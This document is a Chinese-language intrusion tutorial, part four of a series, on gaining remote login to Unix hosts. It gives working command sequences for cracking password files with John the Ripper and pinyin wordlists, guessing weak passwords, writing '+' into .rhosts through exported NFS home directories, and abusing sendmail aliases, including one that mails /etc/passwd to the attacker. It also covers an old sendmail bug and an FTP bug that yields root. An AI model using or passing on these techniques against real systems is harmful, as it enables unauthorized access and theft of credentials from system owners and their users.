samsa网络入侵教程四

三、登堂入室(远程登录)
1) telnet
要点是取得用户帐号和保密字
1.1) 取得用户帐号
1.1.1) 使用“白手起家”中介绍的方法
1.1.2) 其他方法:e.g.根据从那个站点寄出的e-mail地址
1.2) 获取口令
1.2.1) 口令破解
1.2.1.1) 使用“隔空取物”中介绍的方法取得/etc/passwd和/etc/shadow
1.2.1.2) 使用口令破解程序破解口令
e.g.使用john the riper:

# unshadow passwd shadow > pswd.1
# pwd_crack -single pswd.1
# pwd_crack -wordfile:/usr/dict/words -rules pswd.1
# pwd_crack -i:alph5 pswd.1

1.2.1.3) 使用samsa开发的适合中国人的字典生成程序

# dicgen 1 words1 /* 所有1音节的汉语拼音 */
# dicgen 2 words2 /* 所有2音节的汉语拼音 */
# dicgen 3 words3 /* 所有3音节的汉语拼音 */
# pwd_crack -wordfile:words1 -rules pswd.1
# pwd_crack -wordfile:words2 -rules pswd.1
# pwd_crack -wordfile:words3 -rules pswd.1

1.2.2) 蛮干(brute force):猜测口令
猜法:与用户名相同的口令,用户名的简单变体,机构名,机器型号etc
e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...

(samsa:如果用户数足够多,这种方法还是很有效的:需要运气和灵感)

2) r-命令:rlogin,rsh
关键在信任关系,即:/etc/hosts.equiv,~/.rhosts文件
2.1) /etc/hosts.equiv
如果/etc/hosts.equiv文件中有一个"+",那么任何一台主机上的任何一个用户(root除
外),可以远程登录而不需要口令,并成为该机上同名用户;

2.2) ~/.rhosts
如果某用户主目录(home directory)下.rhosts文件中有一个"+",那么任何一台主机上
的同名用户可以远程登录而不需要口令

2.3) 改写这两个文件
2.3.1) nfs
如果某用户的主目录共享出来

# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.rhosts
+
^D
$ rsh numen csh -i
Warning: no access to tty; thus no job control in this shell...
numen%

2.3.2) smtp
利用``decode''别名
a) 若任一用户主目录(e.g./home/zen)或其下.rhosts对daemon可写,则

# echo "+" | uuencode /home/zen/.rhosts | mail decode@victim.com

(samsa:于是/home/zem/.rhosts中就出现一个"+")

b) 无用户主目录或其下.rhosts对daemon可写,则利用/etc/aliases.pag,
因为许多系统中该文件是world-writable.

# cat decode
bin: "| cat /etc/passwd | mail me@my.e-mail.addr"
# newaliases -oQ/tmp -oA`pwd`/decode
# uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
# /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

(samsa:wait .....)

c) sendmail 5.59 以前的bug

# cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
+
.
quit
EOSM
# /bin/sh evil_sendmail
Trying xxx.xxx.xxx.xxx
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
# rlogin victim.com -l zen
Welcome to victim.com!
$
2.3.3) IP-spoofing
r-命令的信任关系建立在IP上,所以通过IP-spoofing可以获得信任;

3) rexec
类似于telnet,也必须拿到用户名和口令

4) ftp 的古老bug

# ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

(samsa:你已经是root了)


20CN网络安全小组版权所有
Copyright © 2000-2008 20CN Network Security Group.
All Rights Reserved.
粤ICP备05087286号